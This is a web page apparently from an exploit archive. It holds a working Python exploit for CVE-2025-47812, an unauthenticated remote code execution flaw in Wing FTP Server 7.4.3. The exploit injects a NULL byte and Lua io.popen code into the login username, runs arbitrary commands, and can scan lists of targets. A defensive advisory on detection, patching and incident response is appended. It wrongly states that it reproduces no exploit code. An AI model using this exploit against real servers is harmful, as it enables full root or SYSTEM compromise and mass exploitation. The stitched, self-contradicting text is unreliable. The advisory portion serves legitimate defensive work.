Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
# CVE: CVE-2025-47812
# Date: 2025-06-30
# Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)
# Vendor Homepage: https://www.wftpserver.com/
# Version: Wing FTP Server <= 7.4.3
# Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)
# Description:
# Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)
# flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'
# parameter during login, leading to Lua code injection into session files. These maliciously crafted
# session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,
# resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).
# The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)
# and the session creation logic (which uses the full unsanitized username).
# Proof-of-Concept (Python):
# The provided Python script automates the exploitation process.
# It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.
# Upon successful authentication (even anonymous), a UID cookie is returned.
# A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,
# leading to RCE.
import requests
import re
import argparse
# ANSI color codes
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"
def print_green(text):
print(f"{GREEN}{text}{RESET}")
def print_red(text):
print(f"{RED}{text}{RESET}")
def run_exploit(target_url, command, username="anonymous", verbose=False):
login_url = f"{target_url}/loginok.html"
login_headers = {
"Host": target_url.split('//')[1].split('/')[0],
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": target_url,
"Connection": "keep-alive",
"Referer": f"{target_url}/login.html?lang=english",
"Cookie": "client_lang=english",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
from urllib.parse import quote
encoded_username = quote(username)
payload = (
f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
"%0dh%3aclose()%0dprint(r)%0d--&password="
)
if verbose:
print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")
try:
login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
login_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] Error sending POST request to {login_url}: {e}")
return False
set_cookie = login_response.headers.get("Set-Cookie", "")
match = re.search(r'UID=([^;]+)', set_cookie)
if not match:
print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
return False
uid = match.group(1)
if verbose:
print_green(f"[+] UID extracted: {uid}")
dir_url = f"{target_url}/dir.html"
dir_headers = {
"Host": login_headers["Host"],
"User-Agent": login_headers["User-Agent"],
"Accept": login_headers["Accept"],
"Accept-Language": login_headers["Accept-Language"],
"Accept-Encoding": login_headers["Accept-Encoding"],
"Connection": "keep-alive",
"Cookie": f"UID={uid}",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
if verbose:
print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")
try:
dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
dir_response.raise_for_status()
except requests.exceptions.RequestException as e:
print_red(f"[-] Error sending GET request to {dir_url}: {e}")
return False
body = dir_response.text
clean_output = re.split(r'<\?xml', body)[0].strip()
if verbose:
print_green("\n--- Command Output ---")
print(clean_output)
print_green("----------------------")
else:
if clean_output:
print_green(f"[+] {target_url} is vulnerable!")
else:
print_red(f"[-] {target_url} is NOT vulnerable.")
return bool(clean_output)
def main():
parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
parser.add_argument("-u", "--url", type=str,
help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
parser.add_argument("-f", "--file", type=str,
help="File containing list of target URLs (one per line).")
parser.add_argument("-c", "--command", type=str,
help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
parser.add_argument("-v", "--verbose", action="store_true",
help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
parser.add_argument("-o", "--output", type=str,
help="File to save vulnerable URLs.")
parser.add_argument("-U", "--username", type=str, default="anonymous",
help="Username to use in the exploit payload. Default: anonymous")
args = parser.parse_args()
if not args.url and not args.file:
parser.error("Either -u/--url or -f/--file must be specified.")
command_to_use = args.command if args.command else "whoami"
verbose_mode = True if args.command else args.verbose
vulnerable_sites = []
targets = []
if args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except Exception as e:
print_red(f"[-] Could not read target file '{args.file}': {e}")
return
else:
targets = [args.url]
for target in targets:
print(f"\n[*] Testing target: {target}")
is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
if is_vulnerable:
vulnerable_sites.append(target)
if args.output and vulnerable_sites:
try:
with open(args.output, 'w') as out_file:
for site in vulnerable_sites:
out_file.write(site + "\n")
print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
except Exception as e:
print_red(f"[-] Could not write to output file '{args.output}': {e}")
if __name__ == "__main__":
main() Wing FTP Server 7.4.3 — Unauthenticated Remote Code Execution (CVE-2025-47812)
This article explains the unauthenticated remote code execution vulnerability affecting Wing FTP Server versions prior to 7.4.4 (CVE-2025-47812). It covers the technical root cause at a high level, impact and risk assessment, detection strategies, mitigation and hardening recommendations, and incident‑response guidance for defenders. The goal is to provide actionable, defensive guidance without reproducing exploit code or step‑by‑step attacker instructions.
Vulnerability summary
| Item | Details |
|---|---|
| Product | Wing FTP Server |
| Affected versions | Versions prior to 7.4.4 (≤ 7.4.3) |
| CVE | CVE-2025-47812 |
| Vulnerability type | Unauthenticated remote code execution (RCE) via injection into session files |
| Root cause (high level) | Mismatch in handling of NULL bytes and inadequate sanitization of the username parameter, enabling data injected by unauthenticated users to be stored into session files and later interpreted as code by an embedded scripting engine (Lua), which is executed when authenticated functionality is invoked. |
| Impact | Arbitrary command execution as the server process user (root on misconfigured Linux deployments; SYSTEM on Windows when service runs with high privileges) |
| CVSS (indicative) | High/Critical — unauthenticated, remotely exploitable RCE |
How the issue works (conceptual)
At a conceptual level, the vulnerability is a logic and input‑sanitization bug that arises from two interacting behaviors:
- One component of the login workflow treats the username string as terminated at the first NULL (0x00) byte, so authentication decisions use the truncated value.
- Another component writes the full (unsanitized) username into a session file that is later parsed and executed by an embedded Lua interpreter when the web application serves certain authenticated pages.
Because an unauthenticated client can cause a specially crafted username to be persisted in a session file and that file is later interpreted as code, the attacker can inject scripting constructs that get executed with the privileges of the FTP server process once the server processes the session. The core problem is the inconsistency in input normalization and lack of escaping before writing user input into an executable context.
Risk and impact analysis
- Severity: High to Critical. Unauthenticated RCE allows full compromise of the server and lateral movement from that host in many environments.
- Privilege escalation: If the service runs as root (Linux) or SYSTEM (Windows), an attacker can attain full system control.
- Persistence & exfiltration: Attackers can install backdoors, create persistence, or exfiltrate data accessible from the compromised host.
- Scale: Exposed internet‑facing installations are at immediate risk; internal deployments reachable by untrusted networks are also vulnerable.
Detection and indicators of compromise (defensive guidance)
Detection should focus on identifying anomalous session files, unexpected script fragments within persisted session data, and suspicious authentication events from unknown clients. The following high‑level approaches are recommended:
- File monitoring: Audit the directory where the application stores session files. Alert on newly created or modified session files that contain non‑expected characters or scripting keywords (e.g., occurrences of embedded script constructs where only plain identifiers are expected).
- Log analysis: Search web/application logs for unusual login attempts that include non‑printable characters or malformed inputs. Also look for short‑lived authentication cookies that appear shortly before suspicious requests to authenticated endpoints.
- Network telemetry: Monitor for HTTP requests to authenticated pages that result in unusual responses or for large outbound connections initiated by the server process shortly after web requests.
- Process & host indicators: Look for unexpected child processes spawned by the FTP server process, new listening services, or changes to scheduled tasks/cron jobs and autoruns.
- Integrity checks: Use checksums and file integrity monitoring on critical binaries and configuration files; compare against known good baselines.
Mitigation and hardening recommendations
Prioritize patching, then apply compensating controls for cases where immediate patching is not possible.
- Apply vendor patch immediately. The vendor released a fixed version (7.4.4 or later). Upgrading to the patched release is the primary remedy.
- Network controls: Restrict access to the management and web interfaces to trusted IP ranges via firewall rules, VPNs, or reverse proxies. Do not expose admin/web interfaces directly to the internet unless necessary.
- Web application firewall (WAF): Deploy or tune WAF rules to block suspicious input patterns and to normalize/strip non‑printable characters. Use WAF in detection mode first to avoid false positives, then enforce blocking rules.
- Least privileges: Run the FTP server process with minimal privileges. Avoid running the service as root or SYSTEM; use a dedicated low‑privilege account when possible.
- Filesystem permissions: Restrict write access to the session storage directory so only the application user can create files and ensure those files are not executed by other interpreters or services.
- Disable unused features: If the embedded scripting engine or any dynamic execution features are not required, disable them in configuration.
- Rate limiting and input validation: Implement or enable input validation and rate limiting for authentication endpoints to reduce the risk of automated exploitation attempts.
Incident response checklist (if you suspect compromise)
- Isolate the host from the network to prevent further lateral movement and data exfiltration.
- Preserve volatile evidence: collect process listings, memory captures, and current network connections from the affected host.
- Collect application logs, web server logs, and session storage files for forensic analysis. Pay special attention to recent session files and authentication events.
- Scan the host for unknown binaries, scheduled tasks, new services, and unexpected users or SSH keys.
- Rotate secrets: Replace credentials and keys that may have been accessible from the compromised system (FTP accounts, API keys, etc.).
- If compromise is confirmed, rebuild the host from a known good image after ensuring you have collected necessary forensic artifacts.
- Notify stakeholders and, if required, follow breach‑notification policies and regulatory obligations.
Secure development & prevention best practices
To prevent similar classes of vulnerabilities in web applications and services, development teams should adopt these practices:
- Canonicalize and normalize inputs early. Treat non‑printable characters (including NULL) as potentially dangerous and either reject or normalize them consistently across all components.
- Never write user input into a file or context that will be interpreted as code without strong escaping or templating safeguards. Prefer structured data formats (JSON, protobuf) over embedded scripting when persisting state.
- Employ the principle of least privilege for runtime interpreters and minimize the attack surface by disabling optional scripting engines when they are not required.
- Implement automated security testing: static analysis, dynamic application security testing (DAST), and fuzzing that includes control characters and binary inputs in test corpora.
- Adopt secure logging practices: ensure logs and persisted session data are treated as untrusted and cannot trigger behavior when parsed.
Safe testing and verification
If you must verify whether a system is patched or susceptible, follow safe testing practices:
- Only test systems you own or have explicit, written authorization to test.
- Perform testing in an isolated lab environment that mirrors production but contains no sensitive data.
- Do not use or reuse public exploit code on production systems. Prefer vendor advisories and official test scripts provided by the vendor or trusted CERTs that are designed for non‑destructive verification.
- Coordinate with operations teams to schedule tests during maintenance windows and ensure backups are available.
References and timeline
- Vendor: Wing FTP Server — check the vendor homepage and security advisory pages for the official patch and release notes.
- CVE-2025-47812 — official CVE listing should include reference links and the timeline of disclosure and remediation.
- Researcher credit: the issue was reported publicly by the researcher credited with the discovery; consult their disclosure for high‑level technical analysis if you are a defender seeking to understand impact (avoid using exploit payloads in production).
Summary
CVE-2025-47812 is a critical unauthenticated RCE arising from inconsistent input handling and unsanitized persistence of user data into an executable context. The recommended immediate action is to upgrade Wing FTP Server to the patched release (7.4.4 or later), restrict access to management interfaces, adopt least‑privilege service accounts, and monitor for indicators of compromise. Defenders should focus on patching, containment procedures, and proactive detection of anomalous session data and process activity.